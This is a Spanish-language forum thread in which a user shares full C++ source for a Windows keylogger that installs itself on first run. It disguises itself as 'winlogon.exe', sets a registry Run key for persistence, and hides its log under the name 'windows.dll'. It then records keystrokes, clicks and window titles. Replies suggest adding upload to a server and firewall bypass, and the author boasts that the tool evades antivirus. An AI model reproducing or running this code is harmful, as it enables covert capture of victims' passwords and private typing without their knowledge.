[aporte]c keylogger solo con abrirlo se instala

Iniciado por daryo, 15 Junio 2013, 16:52 PM

0 Miembros y 2 Visitantes están viendo este tema.

daryo

vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/


#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>

using namespace std;

int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( "HOMEPATH" );
discolocal = getenv ( "SystemDrive" );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );

strcat ( winlog, "\\windows.dll" );
logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo, "\\winlogon.exe" );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();

// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
ofstream log;
log.open ( "windows.dll", ios::out | ios::app );
while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}

if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso

if ( strcmp ( ventana,key )== 0 )
{
log.close ();
return 0;
}
//calcular la fecha
time_t tiempo = time (0);
struct tm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
//--------------------
log << endl << "-------------------------" << endl;
log << "fecha:" << output << endl;
log << endl << "ventana:"<< venta2 << endl;
}
}
return 0;
}



leer logs.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
#include <windows.h>

using namespace std;

int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}


buenas

aguml

me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.

OmarHack

¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)
I like to test things.

daryo

Cita de: aguml en 16 Junio 2013, 11:53 AM
me parece muy interesante el codigo pero yo creo que en la zona donde haces uso de muchos condicionales if podrias haber usado in switch y hacer el codigo mas eficiente ya que solo entraria en uno de esos if pero la comprobacion seria en todos y con el switch no es asi. Otro detalle es como se lo tomaran los antivirus jejeje.

pues mira que lo he usado en mas de una ocasion con varios av , espero que no lo empiezen a detectar por subirlo aca  ;D

Cita de: OmarHack en 16 Junio 2013, 12:25 PM
¿Lo hiciste tú? La verdad es que es menos código del que pensaba. Tiene buena pinta, ahora solo habría que añadirle una función para subir el archivo cada x tiempo a un servidor y otra para que se permita el programa en el firewall y queda uno keylogger dpm. :)

sip yo lo hice . No estaria mal que subieras el code si le pongas esas cosas  ;D pero lo del firewall no hace falta con conexion inversa es suficiente
buenas

OmarHack

Mi firewall controla también las conexiones salientes, por eso digo lo de abrir el firewall, pero también es muy buena idea. Hace tiempo que estoy haciendo un navegador y bueno... xD Mejor no digo como va. :silbar: Me falta mucho en sockets, pero seguro que en un futuro lo intento. >:D
I like to test things.

maxim_o

El teclado numerico que valores ascii tendria?
Por que probando de forma sencilla me da los valores de a,b,c,d,e... en minusculas....
Y las letras normales en Mayusculas....

(NO es tu keylogger, desconozco si hay coge bien el teclado numerico)
Este "bucle"
Código (cpp) [Seleccionar]
                for (int x = 0; x <=255; x++)
                {

                        if (GetAsyncKeyState(x) == -32767)
                        {
                                cout << "Codigo tecla :" << x
                                << " La Tecla presionada es : ";
                                printf ("%c\n", x);
                        }
                }

daryo

buenas

maxim_o

Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos

daryo

Cita de: maxim_o en 18 Junio 2013, 00:03 AM
Ahhhh perdón si se entendio mal, me referia en ese codigo que puse que los valores del teclado numerico no los cogia bien.....
Y las caracteres los cogia como mayusculas... (en el código que puse yo)

Que en tu keyloger, no se si pasa lo mismo, que no lo había probado, a eso me refería!

Sorry si me explique mal.

Saludos
ok n_n
buenas